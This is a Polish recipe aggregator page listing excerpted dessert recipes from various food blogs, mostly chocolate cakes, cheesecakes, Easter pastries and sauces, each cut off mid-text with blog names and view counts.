odrobina soku z cytryny Krem śmietankowy: 250 g śmietany 30 % 2 łyżki żelatyny na 4 łyżki wody 2 łyżeczki cukru pudru Krem czekoladowy: 250 g śmietany kremówki 100 g czekolady deserowej 2 łyżki żelatyny na 4 łyżki wody Kawowa galaretka: 400 ml świeżo zaparzonej kawy 2 łyżki żelatyny 3 łyżki cukru pudru 1 łyżka whisky 250 ml śmietany(...)pierwszej misce i wymieszać dokładnie mikserem na dużych obrotach. Masę śmietankową położyć na schłodzonym spodzie i włożyć do zamrażalnika do momentu aż masa czekoladowa będzie gotowa. 5. Rozpuścić czekoladę w kąpieli wodnej. 6. Rozpuszczoną czekoladę w raz z pozostałą żelatyną dodać do drugiej części śmietany i dokładnie zmieszać za pomocą miksera na dużych obrotach. 7. Ułożyć na warstwie śmietankowej

KreatywnePiny
Tofurnik czyli nie bójmy się tofu 160

Cześć wszystkim dziś mam dla Was przepis na trochę inny sernik bo z tofu. Sernik jest z dodatkiem czekolady i migdałów. Składniki na tortownice 21 cm Spód: 200 g ciastek owsianych z żurawiną 2 łyżki oleju kokosowego Masa tofurnikowa: 300 g sera tofu  1/2 szklanki ugotowanej kaszy jaglanej 1 szklanka mleka kokosowego 1/2 szklanki cukru pudru 2 łyżeczki ekstraktu(...)waniliowego 1/2 szklanki soku z cytryny (ja pomieszałam z pomarańczowym) Polewa: 80 g czekolady gorzkiej Wedel 1 łyżka cukru pudru 1/2 szklanki mleka kokosowego Do dekoracji: migdały Przygotowanie: Przygotowanie spodu: wszystkie składniki zmiksować w naczyniu blendera na grube okruchy. Tortownice wyłożoną papierem do pieczenia, na dno wysypać ciastka i wygładzić palcami. Przygotowanie masy: Jeżeli mamy blender kielichowy możemy włożyć wszystkie

Panda i jej świat
Sernik z mascarpone + film 430

Delikatny, puszysty, miękki, rozpływający się w ustach sernik z dodatkiem serka mascarpone na wafelkowym spodzie posypany po wierzchu startą czekoladą to idealny pomysł na stół wielkanocny. Przepis i przygotowanie ciasta  jest wyjątkowo proste z pewnością uda się każdemu miłośnikowi słodkości.  składniki na tortownicę(...)masa serowa 500 g twarogu sernikowego (np. z wiaderka ) 500 g serka mascarpone 1 łyżka mąki ziemniaczanej 100 g gorzkiej czekolady 3/4 szklanki cukru 3 jajka przepis Na tarce o dużych oczkach ścieramy do miski wafelki czekoladowe. W garnku na małym ogniu rozpuszczamy margarynę lub masło. Do rozpuszczonego tłuszczu wsypujemy kakao, dokładnie mieszamy i zdejmujemy z ognia a następnie wlewamy

Smakowite Dania
Ptysie z bitą śmietaną 144

Ptysie z bitą śmietaną Składniki: 100 g masła, 125 g mąki pszennej, sól, cukier, 4 jajka, 400 ml śmietany kremówki, 2 łyżki cukru pudru, masło orzechowe, woda, gorzka czekolada. Wykonanie: 250 ml wody gotujemy w rondelku i roztapiamy w niej masło. Mąkę musimy przesiać i dodajemy ją razem ze szczyptą soli i cukru do wody. Całość energicznie mieszamy drewnianą łyżką(...)masłem orzechowym. Śmietanę kremówkę ubijamy i pod koniec dodajemy cukier puder. Ponownie za pomocą rękawa lub szprycy wyciskamy śmietanę na posmarowaną masłem orzechowym podstawę ciastka. W kąpieli wodnej rozpuszczamy czekoladę. Na śmietanę nakładamy górną warstwę ciastka i smarujemy ją rozpuszczoną czekoladą. Porada: Zamiast masła orzechowego możemy użyć dżemu. Smacznego

paapilotkaa
Sernik truskawkowy bez pieczenia 176

żelatyny- rozpuszczonej w 30 ml wody 1 szklanka wody pół szklanki cukru pudru 250 g truskawek Spód: 180-200 g herbatników 20-30 g masła pół tabliczki czekolady deserowej łyżeczka cukru waniliowego, ja użyłam cukru waniliowego z firmy Delecta Dekoracja: 150 g truskawek 100-150 g serka mascarpone kropla ekstraktu z cytryny, ja użyłam aromatu z firmy Delecta, opcjonalnie kilka(...)cytryny. 3 pokruszone herbatniki cukier puder do oprószenia Przygotowanie: Spód: 1. Pokruszyć przy pomocy widelca bądź blendera wszystkie herbatniki na piasek 2. Dodać masło 3. W kąpieli wodnej roztopić czekoladę, dodać cukier waniliowy i nadal ciepłą czekoladę przełożyć do herbatników 4. Wszystko razem wymieszać aż do otrzymania konsystencji mokrego piasku 5. Wyłożyć na dno tortownicy i lekko przycisnąć. Odstawić

KreatywnePiny
BABKA GOTOWANA NA MĄCE ORKISZOWEJ, BEZ DODATKU CUKRU 156

gotujemy jeszcze przez chwilę. Gdyby masa się zważyła, należy dolać troszkę chłodnej wody i energicznie zamieszać. Odstawić do lekkiego przestudzenia, a następnie oblać nią babkę. Polewa ganache: - 100g gorzkiej czekolady - 120g śmietany kremówki W rondelku roztopić czekoladę razem z kremówką. Można także zagotować kremówkę, odstawić z palnika, wrzucić do niej pokruszoną czekoladę i po chwili zamieszać. Letnią polewą oblewamy naszą

Smaczne Zdrowe
Ciasto z karmelem i orzechami laskowymi 322

łyżka śmietany, 1 łyżka proszku do pieczenia, szczypta soli. Wierzch: 1 mleko zagęszczone z cukrem,20 g miękkiego masła, 1 łyżka kakao, 100 g orzechów laskowych, 200 g czekolady gorzkiej, mlecznej lub białej Przygotowanie: Jajko ubić z cukrem. Dodać miękkie masło, śmietanę i sól. Wymieszać. Dodać mąkę z proszkiem do pieczenia i zagnieść miękkie ciasto. Ciasto wyłożyć do formy(...)kakao. Dobrze wymieszać.Tak przygotowany karmel wyłożyć na ciasto. Orzechy obrać i wcisnąć je w karmel.Czekoladę roztopić. wylać na karmel. Włożyć ciasto do lodówki, aby karmel i czekolada zastygły. Najlepiej pokroić gorącym nożem, wtedy czekolada nie powinna pękać

kulinarnajamka.blogspot.com
Mazurek czekoladowy z bakaliami 293

pudru (150 g) 1 łyżka kakao szczypta soli 2 ugotowane żółtka jajka 2 łyżki bardzo zimnej wody masa:  puszka słodzonego mleka skondensowanego lub masy krówkowej 200 g gorzkiej czekolady z 70 % zawartością kakao dodatkowo: 50 g orzechów włoskich 50 g migdałów 100 g rodzynek 50 g moreli suszonych 3 łyżki wiórek kokosowych 50 ml alkoholu np. rum na lukier(...)żółtko przetarte przez sitko i wodę. Zagnieść szybko ciasto, zawinąć w folię i włożyć na około 1/2 godziny do lodówki. Rodzynki namoczyć w alkoholu, bakalie pokroić w drobne słupki. Czekoladę drobno posiekać i rozpuścić z mlekiem skondensowanym, masa ma się połączyć z czekoladą. Ciasto wyjąć z lodówki rozwałkować na wielkość spodu posiadanej formy (u mnie 33 x 23). Do rozwałkowanego

Kuchcik gotuje
Kakaowe bezy z kremem czekoladowym 205

jest trudne, ale nie ukrywam, trochę czasu zajmuje, dlatego jest to fajna propozycja do zrobienia w weekend. Ale zdecydowanie efekt jest wart zachodu, polecam! *Jeżeli nie lubicie przerobionej czekolady (są i takie osoby) proponowany krem można zastąpić czekoladowym ganaszem.    Składniki : 30 bezików kakaowych - klik Składnik na krem : 200 ml mleka 50 g cukru waniliowego (najlepiej domowego z ziarenkami(...)wanilii) 3 żółtka 2 łyżki mąki ziemniaczanej 100 g czekolady 2 łyżki masła Sposób przygotowania: Przygotowujemy bezy kakaowe - klik . Do garnuszka wlewamy mleko i podgrzewamy, następnie dodajemy czekoladę i szybko mieszamy do momentu rozpuszczenia się całej tabliczki.. Do miski wbijamy żółtka, dodajemy cukier i ucieramy, gdy masa się połączy dodajemy mąkę i mieszamy, tak aby nie powstały grudki następnie

Słodkie Przyjemności
Wielkanocne ciasteczka zajączki 215

Jeśli spodobał się Wam pomysł na domowe ciasteczka markizy , dzisiejsze zajączki pewnie też przypadną Wam do gustu. Do ich zrobienia potrzebne będzie kruche ciasto, krem, nieco czekolady i kolorowe dropsy na ogonki. Dużą zaletą tych ciasteczek jest także fakt, że nie potrzebujemy żadnych specjalnych cukierniczych akcesoriów, wystarczy foremka w kształcie serduszka, która na pewno znajdzie się w każdej kuchni :) Składniki(...)kruche ciasteczka Składniki na krem budyniowy +czekolada do rozpuszczenia, kolorowe cukierki (ja użyłam Skittles), barwniki spożywcze (opcjonalne) Masło wyciągamy wcześniej z lodówki, kroimy na małe kawałeczki i odstawiamy, żeby zmiękło. Suche składniki mieszamy razem w misce. Dodajemy masło, śmietanę i jajka. Zagniatamy do uzyskania gładkiej masy. Ciasto powinno mieć konsystencję plasteliny, jeśli jest zbyt rzadkie dodajemy mąki, jeśli zbyt suche

Ciastkozercy
Sypane ciasto z kaszy manny z pięcioma owocami. 143

Składniki: -kasza manna 1,5 szklanki -cukier 1 szklanka -mąka pszenna TYP500 1,5 szklanki -proszek do pieczenia łyżka -cukier waniliowy domowy -cukier puder -kakao lub starta na wiórki czekolada -masło 3/4 kostki -truskawki -śliwki czerwone -jabłko, banan, gruszka Wszystkie sypkie produkty przesiewamy w jedno. Dodajemy półtwarde posiekane masło i zagniatamy na sypkie ciasto, które dzielimy na trzy części(...)nanosimy na nią truskawki i śliwki; zasypujemy trzecią częścią ciasta i delikatnie ugniatamy. Pieczemy 45 minut w 180 stopniach. Posypujemy cukrem pudrem. Sos: -kilka łyżek mleka -łyżka masła -tabliczka czekolady gorzkiej -skórka pomarańczy -cukier waniliowy -śmietanka 30% Mleko podgrzewamy, dodajemy czekoladę i masło, topimy i intensywnie mieszamy. Dodajemy cukier, łączymy. Zdejmujemy z ognia, podlewamy kilkoma łyżkami śmietanki i mieszamy

BaRepas
Muffinki z żurawiną i białą czekoladą 174

Wraz z pierwszym śniegiem, w moim domu po prostu musi pojawić się coś słodkiego z korzennym aromatem. Tym razem były to muffinki z żurawinami i białą czekoladą. Idealne, żeby usiąść na kanapie pod kocem (jak widzę śnieg, to koc również staje się obowiązkowy ;) ) z kubkiem kawy i patrzeć jak pada śnieg. Ciekawe, czy w tym roku zima też zaskoczy drogowców(...)łyżeczki sody oczyszczonej ½ szklanki cukru (jeżeli lubicie bardzo słodkie, to ⅔) 1 łyżeczka przyprawy do piernika Składniki mokre 1 jajo ½ szklanki mleka ½ szklanki maślanki dodatkowo 100 g grubo pokrojonej białej czekolady 50 g suszonej żurawiny 100 g świeżej żurawiny (ok. 1 szklanki) Wszystkie składniki powinny mieć temperaturę pokojową. Mąkę przesiać z sodą,proszkiem do pieczenia i przyprawą do piernika. W osobnych

Pełny talerz
Kawa i wuzetka są obowiązkowe. Dla każdego. ;) 197

konfiturę nałożyć masę śmietanową, wyrównać. Przykryć drugim blatem. Nasączyć go pozostałym ponczem. Ciasto wstawić do lodówki. Schłodzić przez min. 2 godziny. Wykończenie 200 g śmietanki 30% 200 g gorzkiej czekolady 150 g mocno schłodzonej śmietany 36% 1 łyżeczka cukru pudru Czekoladę połamać na kawałki, przełożyć do miseczki. Śmietankę zagotować, zalać czekoladę. Odstawić na 1 minutę. Rozmieszać energicznie, aż masa będzie

Pełny talerz
Sernik dyniowy z sosem czekoladowym 232

kilka godzin, a najlepiej przez całą noc. Podawać z sosem czekoladowym. sos czekoladowy 3/4 szklanki wody 1/2-1/3 szklanki cukru 2 łyżki cukru waniliowego 60 g kakao 60 g gorzkiej czekolady Wodę zagotować, dodać cukier i kakao, dobrze wymieszać. Ponownie doprowadzić do wrzenia. Gotować na małym ogniu przez 2 minuty, mieszając. Zdjąć z płyty dodać połamaną na kawałki czekoladę, wymieszać(...)rozpuszczenia czekolady. Ciepły sos jest rzadki, gęstnieje po wystudzeniu. Smacznego! Przepis dodaję do akcji

Pełny talerz
Churros cynamonowe (Churros de canela) 202

minuty z każdej strony. Osączyć na podwójnie złożonym ręczniku papierowym. Obtoczyć w cynamonowym cukrze. Dodatkowo można podać sos czekoladowy (polecam!) - przepis poniżej. Sos czekoladowy 100 g gorzkiej czekolady 100 ml śmietanki 30% Czekoladę połamać na kawałki. Śmietankę zagotować. Do gorącej wrzucić czekoladę. Na chwilę odstawić na bok, następnie dokładnie wymieszać. Sos podawać w miseczce i maczać w nim churros. Smacznego

Pełny talerz
Ciasto "Cycki Murzynki" 314

wiórek kokosowych 1 płaska łyżeczka proszku do pieczenia Krem: 1 budyń waniliowy 3 żółtka 3 łyżki mąki 1/2 l mleka 250 g masła 1/2 szklanki cukru Polewa 100 g czekolady mlecznej 5 łyżek mleka 50 g masła Dodatkowo biszkopty rodzynki Wykonanie: Ciasto: Białka ubić na sztywno, a następnie ubijać dodawać stopniowo cukier. Wsypać mak, wiórki, proszek do pieczenia i delikatnie(...)budyń się nam nie przypalił. Po zgęstnieniu masy odstawić z palnika i  ostudzić. Masło utrzeć  na puszystą masę i stopniowo dodawać zimny budyń cały czas ucierając. Polewa: Czekoladę roztopić w kąpieli wodnej, dodać mleko i masło i mieszać do połączenia się składników. Na spód ułożyć ciasto, a następnie wyłożyć warstwę kremu. Na kremie ułożyć biszkopty, polać czekoladą

O kuchni z uczuciem
Zestawienie przepisów na Wielkanocne pyszności! 247

Dziś przedstawiam Wam zestawienie moich ulubionych przepisów na świąteczny stół, w szczególności słodkości:) Moje ulubione marynowane jajka w majonezie na łódeczkach z cykorii Mazurek podwójnie różany z białą czekoladą i prażonymi migdałami.   Przepis na wielkanocny pudding jabłkowy Gordona Ramsaya Mazurek królewski z białą czekoladą i kajmakiem Mini serniczki z ciasteczkami oreo Marynowane jajka faszerowane musem z tuńczyka Marynowane jajka(...)nadziewane z sałatką z łososia Mazurek z wiśniami i czekoladą Babka z advocatem Pieczona karkówka w imbirze, anyżu i miodzie Podwójnie lukrowana babka kawowa Jajka herbaciane nadziewane guacamole Anielskie ciasto czekoladowe z polewą i prażonymi orzechami Babka drożdżowa z powidłami Anielskie ciasto z sosem truskawkowym Miodowo-musztardowe udka kacze z gruszkami Świąteczna kaczka pieczona z sosem wiśniowym z winem Porto

karmelowy
Pomarańczowa babka piaskowa 171

cukru pudru - 120 g 2 łyżeczki proszku do pieczenia 2 łyżki skórki pomarańczowej 4 łyżki mleka 2 łyżki likieru Cointreau 1 łyżeczka pasty z wanilii dodatkowo: 60 g białej czekolady i 40 ml śmietany kremówki Wykonanie: masło utrzeć z cukrem na biały puch, dodając stopniowo żółtka cały czas ucierając do utartej masy wlać mleko, dodać wymieszaną z proszkiem do pieczenia(...)ciastem. Dodać likier i skórkę pomarańczową wylać ciasto do wysmarowanej masłem i wysypanej mąką formy z kominem studzić na kratce w małym garnuszku zagrzać śmietankę, dodać połamaną w kawałki czekoladę i mieszać do rozpuszczenia. Odczekać, aż przestygnie i posmarować babkę czekoladą  piec 50 minut w 170`C początkowo studzić w foremce, następnie wytrząsnąć babkę z foremki i studzić

Gotuj zdrowo!Guten Appetit!
Proste muffiny kakaowe 147

powiecie na trochę pasteli na wiosnę? Miałam ochotę na browni, ale bardzo dawno nie piekłam muffinek, więc postanowiłam przemycić w nich odpowiednią dawkę kakao i czekolady. Niedawno dostałam śliczny błękitny syfon, który przybył do mnie z dawnych lat. Uwielbiam go. Przydały się też washi tape, które kupiłam, kiedy miałam ambitny plan tworzenia czegoś na kształt Project Life. Niestety wytrwałość nigdy(...)mąki pszennej 160g vrązowego cukru 2 łyżeczki proszku do pieczenia 3 czubate łyżki kakao mokre 100ml oleju słonecznikowego 2 jajka 1 łyżka porto 150ml coca-coli polewa 50g gorzkiej czekolady 1 łyżka masła 2 łyżeczki cukru pudru Sposób przygotowania Wymieszać suche składniki w misce. W mniejszej misce wymieszać trzepaczką wszystkie mokre składniki. Dolać składniki mokre  do suchych i wymieszać

W kuchni wieczorem
Cake pops - ciasteczkowe lizaki 169

Składniki: 400 g ciastek maślanych lub np. biszkoptów 120 - 150 g jogurtu naturalnego ok pół tabliczki roztopionej białej czekolady 1 łyżeczka cukru migdałowego Przygotowanie: Ciasteczka pokruszyć.Wszystkie składniki wymieszać. Masę odstawić do lodówki do stężenia. Formować kuleczki wielkości orzecha włoskiego. Powbijać patyczki (do lizaków) umaczane w roztopionej czekoladzie - schłodzić. Obtoczyć lizaki w roztopionej czekoladzie z dodatkiem odrobiny oleju, udekorować cukrowymi

Gaździnka warzy
ciasteczka czekoladowe 153

masła w temperaturze pokojowej 0,5 szkl. cukru 1 jajko 3/4 szkl. mąki 1/2 łyżeczki sody 1/4 łyżeczki proszku do pieczenia 1,5 łyżki kakao 90 g gorzkiej czekolady 90 g mlecznej czekolady PRZYGOTOWANIE Masło utrzeć z cukrem na puszystą masę. Dodać jajko, a następnie wszystkie suche składniki i wszystko wymieszać mikserem tak, by składniki się połączyły. Na koniec dodać(...)drobno posiekaną czekoladę. Na blachę wyłożoną papierem do pieczenia wykładać uformowane z ciasta kulki wielkości orzecha włoskiego. Ciastka układać w dużych odległościach od siebie, ponieważ znacznie rozpływają się na boki – zostawić przerwy pomiędzy ciastkami ok. 5 cm. Piekarnik rozgrzać do 180º, piec 10 minut. Ciastka po wyjęciu z piekarnika będą bardzo miękkie, więc przed zdjęciem ich z blachy odczekać

zabawa smakiem
Bardzo śmietankowe puszyste ciasto owocowe z kawałkami czekolady 162

ustach... Ach, przygotowanie ciasta w towarzystwie ukochanej pociechy, to po prostu sama przyjemność i ogromna radość. Zapraszam Was do skosztowania bardzo śmietankowego i puszystego ciasta z owocami i kawałeczkami czekolady w środku *. To ciasto nadaje się idealnie na przyjęcie, jak i zajadanie się nim z ukochaną córeczką :) *Przepis powstał dawno temu w wyniku (szczerze pisząc) pomyłki kulinarnej. Miało być inne(...)szklanki mąki pszennej 3 łyżeczki proszku do pieczenia 1 1/2 szklanki mieszanki owocowej (mrożona)+ mąka do obsypania, ale w sezonie świeże owoce około 2 szklanki 6 kostek białej czekolady cukier puder do posypania ciasta Przygotowanie: Margarynę ucieramy mikserem z cukrem i cukrem waniliowym. Następnie wbijamy jajka, ciągle miksując. Mąkę mieszamy z proszkiem do pieczenia i solą. Dodajemy po trochu mąki

Słodkie okruszki
Wielkanocne mini koszyczki 152

temperaturze 170-180 st. C. Osobno przez ok. 5-10 min. pieczemy „rączki” do koszyczków, które przed pieczeniem smarujemy białkiem. Ciasta odstawiamy do ostygnięcia. dodatkowo: 1/3 tabliczki gorzkiej czekolady kwiatuszki z lukru kolorowe cukierki w kształcie jajeczek Formujemy koszyczki łącząc babeczki z uchwytami, miejsca łączenia smarujemy czekoladą, przytrzymujemy chwilę, aby czekolada zastygła. Miejsca łączenia babeczki i uchwytu zdobimy kwiatuszkami wykonanymi

Domowy Smak Jedzenia
Rolada kokosowa 147

następnego dnia zajadać. Ta rolada przypomina mi w smaku baton bounty. Przepis znalazłam w serwisie smaker.pl. Składniki: ciemna część: 300 g zmielonych herbatnikow 125 g cukru pudru 100 g czekolady 150 ml mleka jasny krem: 125 g margaryny 125g cukru pudru 100 g wiórków kokosowych Przygotowujemy ciemną masę. Czekoladę roztapiamy w mleku na małym ogniu i odstawiamy do przestudzenia(...)miski dodajemy herbatniki, cukier puder, roztopioną czekoladę i wyrabiamy "ciasto". Przygotowujemy jasny krem: miękką margarynę ubijamy mikserem z cukrem pudrem, dodajemy wiórki i mieszamy. Ciemną masę rozwałkowujemy przez folię spożywczą na kształt prostokąta. Kładziemy jasny krem zostawiając centymetr od brzegów i zwijamy roladę. W przepisie z tej ilości składników można zrobić dwie rolady mniejsze, wtedy łatwiej zwijać. Wstawiamy roladę

NA MOIM TALERZU
Czekoladowe Brownie z kremem z fistaszków 182

większej postaci. Ja jestem miłośniczka tych batonów więc to ciacho jeszcze nie raz u mnie na stole zagości. A wy lubicie orzeszki ziemne? Składniki Ciasto brownie: 200 g gorzkiej czekolady, posiekanej 135 g masła 3/4 szklanki jasnego brązowego cukru 3 duże jajka, w temperaturze pokojowej 80 g mąki pszennej 1 op cukru waniliowego Krem fistaszkowy: 250 g serka mascarpone(...)masła orzechowego Dodatkowo: 100 g solonych orzeszków ziemnych 1 puszka kajmaku 100 ml śmietanki 30 % Sposób przygotowania Ciasto Brownie W rondelku rozpuszczamy masło, dodajemy pokruszone tabliczki czekolady, na niewielkim ogniu rozpuszczamy w maśle co jakiś czas mieszając. Odstawiamy do lekkiego przestygnięcia. W osobnym naczyniu roztrzepujemy całe jajka z brązowym cukrem i cukrem waniliowym, wlewamy czekoladę i miksujemy bardzo krótko. Dodać

W kuchennej krainie
Sernik czekoladowy 135

Składniki: (na tortownicę 18-22 cm) 180-200 g herbatników w czekoladzie- mogą być digestive. 2 łyżki miękkiego masła 600-700 g sera twarogowego- mielonego przynajmniej 2 razy (bądź gotowego z wiaderka) 3/4 szklanki cukru 1 łyżeczka ekstraktu waniliowego 1 tabliczka czekolady deserowej, stopiona w kąpieli wodnej z odrobiną mleka i ostudzona. (jeśli chcesz by sernik był bardziej czekoladowy dodaj(...)masło. Wymieszać, po czym ułożyć na spodzie tortownicy. Delikatnie przygnieść dłonią na całej powierzchni. 2. Przygotować masę serową: wymieszać wszystkie składniki Najpierw ser, cukier i wanilię. Następnie dodajemy przestudzoną czekoladę. Na końcu dodać jajka, Po jednym nadal miksując. Aż do uzyskania gładkiej jednolitej masy. 3. Wyłóż masę serową na spód. Piec: 55-65 min w temperaturze 160-170 stopni. Ciasto

KreatywnePiny
Profiteroles nadziewane kremem pomarańczowym z advocatem w polewie czekoladowej 147

pomarańczy: na malutkich oczkach 1-5 łyżeczki advocata kilka kropli świeżego soku z pomarańczy 1 łyżeczka cukru pudru Polewa czekoladowa: 80 ml wody 80 g cukru 200 g deserowej czekolady 1 łyżeczka whisky Przygotowanie: Ciasto parzone: 1. Do garnuszka z wodą dodajemy masło. 2.Podgrzewając doprowadzamy do wrzenia, wtedy dodajemy mąkę. 3. Zmniejszamy ogień i mieszamy do uzyskania jednolitej masy(...)stopni Krem pomarańczowy: Wszystkie składniki zmieszać. Gotowym kremem nadziewać ostudzone ptysie szprycą z końcówką do nadziewania. Polewa czekoladowa: Wodę zagotować razem z cukrem. Gdy syrop odrobinę zgęstnieje dodajemy czekoladę. Mieszamy aż polewa odrobinę zgęstnieje, dolewamy 1 łyżeczkę whisky. Polewamy Profiteroles ciepłą czekoladą. Podajemy od razu po polaniu gorącą polewą, bądź studzimy w lodówce i podajemy na zimno. Smacznego

KreatywnePiny
Wielkanocna szarlotka z białą czekoladą, budyniem i bezą 121

wszystkich tych, którzy uwielbiają szarlotkę! Kakaowe ciasto z jabłkami w cynamonie, z białą czekoladą i bezą. Dla mnie rewelacyjna i na pewno nie raz ją powtórzę. W takiej postaci może zagościć na wielkanocnym stole. Tortownica 24 cm 3 szklanki mąki 3 łyżki kakao 1,5 łyżeczki proszku do pieczenia 3/4 szklanki cukru 250 g margaryny lub masła 2 łyżki śmietany(...)jabłek 1 łyżeczka cynamonu 2 łyżki masła 2 łyżki cukru 100 g białej czekolady 1 łyżka mąki ziemniaczanej 2,5 szklanki mleka 2 budynie waniliowe (po 40 g) 3 łyżki cukru 3 białka 3 łyżki cukru Szczypta soli Na stolnicę przesiać mąkę, kakao, proszek do pieczenia. Dodać cukier, pokrojoną margarynę i śmietanę. Całość dość szybko zagnieść na jednolite ciasto. Masę

VioletoweKucharzenie
Babeczki marchewkowo-bananowe z kremem czekoladowym 151

owsianych 80 g cukru 2 łyżeczki cukru z wanilią 2 łyżeczki proszku do pieczenia łyżeczka proszku do pieczenia szczypta soli 2 jajka 50 g maślanki Krem: 100 g gorzkiej czekolady 1/2 szklanki słodkiej śmietanki 250 g serka mascarpone 2 łyżki cukru pudru Masło rozpuścić i ostudzić. Wymieszać je z jajkami roztrzepanymi oraz maślankę. Marchew obrać, zetrzeć na drobnej tarce(...)dokładnie wymieszać łyżką. Formę do muffinek wyłożyć papilotkami, rozdzielić ciasto po równo. Włożyć do piekarnika nagrzanego do 180oC i piec 25-30 minut na złotobrązowy kolor. Wyjąć i ostudzić. Czekoladę połamać, umieścić w garnuszku, wlać śmietankę i rozpuścić. Ostudzić. Serek utrzeć z rozpuszczoną czekoladą, dodając pod koniec cukier puder. Przełożyć do szprycy i udekorować muffinki tworząc gniazda. Na środku

Czerwień i błękit
Gruszki w polewie czekoladowej 120

zaspokoją  apetyt na słodkości największym łasuchom . A  polewa czekoladowa nada im wyrafinowanego smaku. składniki na 3 porcje 3 gruszki 2 łyżki cukru skórka z cytryny pół tabliczki czekolady 2 łyżki mleka przepis Gruszki  obieramy nie obcinając  ogonka i wydrążamy  od strony szypułki. Zagotowujemy gruszki w syropie ,aż zmiękną .Wyjmujemy z syropu , studzimy i ustawiamy(...)talerzyku . Czekoladę wkładamy do kubka, zalewamy mlekiem .Wstawiamy kubek w  większe naczynie z wodą, stawiamy na ogniu . Gdy czekolada się rozpuści , oblewamy  nią gruszki i schładzamy

Smakowite Dania
Kawa z czekoladą i bitą śmietaną 155

Pyszna kawa z gorzką czekoladą i bitą śmietaną  podana rano, obudzi każdego śpiocha . Jest troszkę pracochłonna w  przygotowaniu , jednak jej smak jest wart takich poświęceń. składniki na 2 filiżanki 1/2 litra mocnej gorącej kawy rozpuszczalnej 50 g gorzkiej czekolady 150 ml śmietanki 30% 2 łyżeczki cukru pudru odrobina cynamonu szczypta gałki muszkatołowej przepis Śmietanę schłodzoną w lodówce ubijamy(...)mikserem , dodajemy cukier puder . Czekoladę rozpuszczamy na parze i mieszamy z gorąca kawą . Mieszankę rozlewamy do 2 filiżanek , nakładamy bitą śmietanę i posypujemy cynamonem i gałką muszkatołową

Smakowite Dania
Deser z mascarpone , truskawką i kiwi 123

Wesoły podwieczorek dla malucha czyli deser z rozpuszczonej czekolady pomieszanej  z herbatnikami z dodatkiem pysznego serka mascarpone z truskawką i kiwi . Słodko, smacznie i prosto, polecam wszystkim. składniki na 2 porcje serek mascarpone 250 g 2 łyżeczki cukru pudru 5 ciastek herbatników 5 kostek gorzkiej czekolady 1 małe kiwi 2 truskawki przepis Serek mascarpone miksujemy razem z cukrem pudrem(...)gęstą masę . Czekoladę rozpuszczamy w gorącej kąpieli wodnej a następnie gorącą łączymy z rozkruszonymi herbatnikami ,taką masę wkładamy na dno pucharka a na wierzch nakładamy krem z serka  mascarpone. Deser dekorujemy plasterkami kiwi i truskawką

Smakowite Dania
Banany w czekoladzie z kokosem+ film 187

Bardzo atrakcyjny deser dla naszych milusińskich czyli banany w czekoladzie z kokosem , może być doskonałym podwieczorkiem bo smakuje naprawdę wybornie .Na pewno zaspokoi apetyt na słodycze dużym i małym łasuchom . składniki na 4 porcje 2 banany 100 g gorzkiej czekolady 1 łyżka cukru 70 g margaryny 100 g wiórek kokosowych przepis Banany obieramy, przekrawamy wzdłuż a następnie w poprzek(...)mniejsze części. Czekoladę łamiemy na mniejsze kawałki i rozpuszczamy w kąpieli wodnej . Dodajemy margarynę i cukier .Całość mieszamy do momentu aż wszystkie składniki dokładnie się rozpuszczą. Banany nabijamy na patyczki do szaszłyków , maczamy w sosie czekoladowym i obtaczamy w wiórkach kokosowych . Deser wstawiamy do lodówki na 2 godziny

Smakowite Dania
Rafaello na waflach + film 196

krótką chwilę a efekty smakowe bardzo pozytywnie zaskakują. składniki na prostokątnego wafla 4 prostokątne wafle ( całe ) 2 pokruszone wafle 1/2 l śmietanki 36% 200g wiórków kokosowych 2 tabliczki białej czekolady 2 opakowania śmietanki śnieżki przepis Śmietankę 36 % podgrzewamy na małym ogniu, dodajemy do niej połamaną na kostki białą czekoladę, cały czas mieszamy aż czekolada się rozpuści. Rozpuszczoną masę zdejmujemy

Smakowite Dania
Tort truskawkowy z kokosem + film 152

szklanki cukru szklanka mąki pszennej 5 łyżek mąki ziemniaczanej łyżeczka proszku do pieczenia               krem  500 ml śmietany 36% 2 tabliczki białej czekolady ( po 100g) 200g wiórków kokosowych        dodatkowo  250 ml śmietany 36% 3 łyżki cukru pudru 100g płatków migdałowych 1 opakowanie śmietan fixu(...)tłuszczem i wysypanej bułką tartą , pieczemy 30 minut w temp. 180 st. Po wystudzeniu biszkopt przekrawamy tak żeby powstały 3 krążki.        krem Białą czekoladę łamiemy na kawałki a następnie rozpuszczamy w kąpieli wodnej. Śmietanę kremówkę ubijamy na sztywno, w czasie ubijania dodajemy po łyżeczce letniej czekolady. Pod koniec ubijania dodajemy wiórki kokosowe i delikatnie

Smakowite Dania
Ciasto Rafaello + film 150

Cudowny smakołyk za którym przepadają moje dzieci to przepyszne ciasto rafaello na biszkopcie   z białą czekoladą posypane wiórkami kokosowymi czyli niezwykły deser dla każdego łasucha, który zachwyci niejedno podniebienie. składniki na tortownicę 20 cm                         masa 2 tabliczki(...)białej czekolady ( po 150g ) 1/2 litra śmietany 30% 2 opakowania śmietany śnieżki 250 g wiórków kokosowych                    biszkopt 4 jajka 1/2 szklanki cukru 1 szklanka mąki pszennej 1 łyżeczka proszku do pieczenia przepis Białka ubijamy na sztywną pianę pod koniec ubijania wsypujemy cukier, żółtka a następnie mąkę

Smakowite Dania
pyszny murzynek, ciasto czekoladowe, brownie 134

nadszedł czas na pyszne ciasto czekoladowe lub ewentualnie murzynka ;] Składniki na mała formę keksową: - 1 szklanka mąki - 1/3 kostki margaryny  - 1/2 szklanki mleka - 3 łyżeczki kakao - 3 kostki czekolady mlecznej - 1/2 szklanki cukru - 1 łyżeczka proszku do pieczenia - 1/2 łyżeczki sody oczyszczonej - 2 jajka - szczypta soli Wykonanie: Roztapiamy margarynę z czekoladą, kakao i łyżką cukru, odstawiamy do wystudzenia(...)żółtka od białek i ubijamy je z solą i połową cukru na sztywną masę. Do miski przesiewamy mąkę, cukier, proszek, sodę, mleko i żółtka miksujemy i dodajemy stopniowo naszą czekoladę na końcu białka, przelewamy do formy i pieczemy 45min w temp 200stopni. Smacznego

Tanio szybko zdrowo
Czekoladowe ciastko XXL 151

